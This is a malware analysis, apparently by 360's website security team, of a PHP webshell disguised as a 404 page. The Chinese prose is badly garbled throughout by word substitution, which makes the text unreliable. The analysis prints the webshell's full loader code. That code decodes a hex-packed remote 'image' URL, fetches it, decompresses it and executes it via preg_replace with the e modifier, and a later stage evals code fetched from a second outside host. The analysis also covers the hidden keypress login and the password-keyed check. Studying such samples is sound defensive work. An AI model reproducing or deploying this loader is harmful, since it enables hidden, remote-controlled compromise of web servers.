克日，360網(wǎng)站衛(wèi)士安詳團隊近期捕捉一個基于PHP實現(xiàn)的webshell樣本，其巧妙的代碼動態(tài)生成方法，猥瑣的自身頁面?zhèn)窝b手法，讓我們在闡明這個樣本的進(jìn)程中感覺到相當(dāng)多的興趣。接下來就讓我們一同共賞這個奇葩的Webshell吧。
Webshell
<?php
error_reporting(0);
session_start();
header(“Content-type:text/html;charset=utf-8″);if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
?>
要害看下面這句代碼，
sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
這里執(zhí)行之后其實是一張圖片，解密出來的圖片地點如下：
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后挪用file_get_contents函數(shù)讀取圖片為字符串，然后substr取3649字節(jié)之后的內(nèi)容，再挪用gzuncompress解壓，獲得真正的代碼。最后挪用preg_replace的修飾符e來執(zhí)行惡意代碼的。這里執(zhí)行以下語句來還原出惡意樣本代碼，
<?php
echo
gzuncompress(substr(file_get_contents(sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>
如圖所示：
闡明這段代碼，發(fā)明這是一個偽裝的404木馬(這里實在是太猥瑣了…把頁面標(biāo)題改成404 Not Found)，其實整個webshell就一個class外加三個function，如下圖：
首先我先看一下它的前端html代碼，個中有這么一段js措施
document.onkeydown = function(e) {
var theEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$(“l(fā)ogin”).style.display = “block”
}
}
這里它用document.onkeydown獲取用戶敲擊鍵盤事件，當(dāng)code便是80的時候顯示login這個div，這里查詢了一下keyCode的比較表，查到80對應(yīng)p和P鍵
所以觸發(fā)webshell登岸需要按p鍵(不按P鍵頁面就是一個空缺頁，看不到登岸框)，如圖所示：
再回隨處事端php代碼中，可以看到措施用的是對稱加密，而且將登岸暗碼作為加密key，代碼如圖所示：
再看init()的邏輯
如圖所示，先看這句代碼
$true =
@gzuncompress(gzuncompress(Crypt::decrypt(pack(‘H*’, ’789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));
按照這個解密邏輯我們可以推出，這里其實是將字符串true做了以下加密處理懲罰，
unpack(‘H*’,Crypt::encrypt(gzcompress(gzcompress(‘true’)), $_POST['key'] , true))
所以當(dāng)輸入正確暗碼的時候@gzuncompress返回字符串true，然后措施挪用setcookie給客戶端返回$_COOKIE[‘key’]，然后值得提一下的是后頭這個exit(‘{“status”:”on”}’)，這里它與前端代碼接洽很細(xì)密，我們看前端有個callback函數(shù)，如下
function callback() {
var json = eval(“(” + this.responseText + “)”);
if (json.status==’on’){
window.location.reload();
return;
}
if (json.notice) {
$(“notice”).style.display = “block”;
$(“notice”).innerHTML = json.notice;
sideOut();
}
}
這里執(zhí)行exit(‘{“status”:”on”}’)會返回json串{“status”:”on”}，此時前端js代碼classback()獲取到此響應(yīng)會執(zhí)行window.location.reload()刷新，再次請求正好帶上前面獲取的cookie，然后執(zhí)行判定COOKIE的邏輯，如圖所示：
這里跟前面POST的邏輯一樣，下面當(dāng)判定為’true’今后，這里又請求了一張圖片，pack出來地點為http://2012heike.googlecode.com/svn/trunk/code.jpg，然后挪用_REQUEST獲取圖片內(nèi)容，解密解壓之后再eval，闡明之后發(fā)明code.jpg中才是真正的webshell顛末加密壓縮之后的內(nèi)容。這里我跟蹤了一下代碼打印出了真正執(zhí)行的webshell的內(nèi)容：
登岸樂成之后的webshell如下圖：
總結(jié)：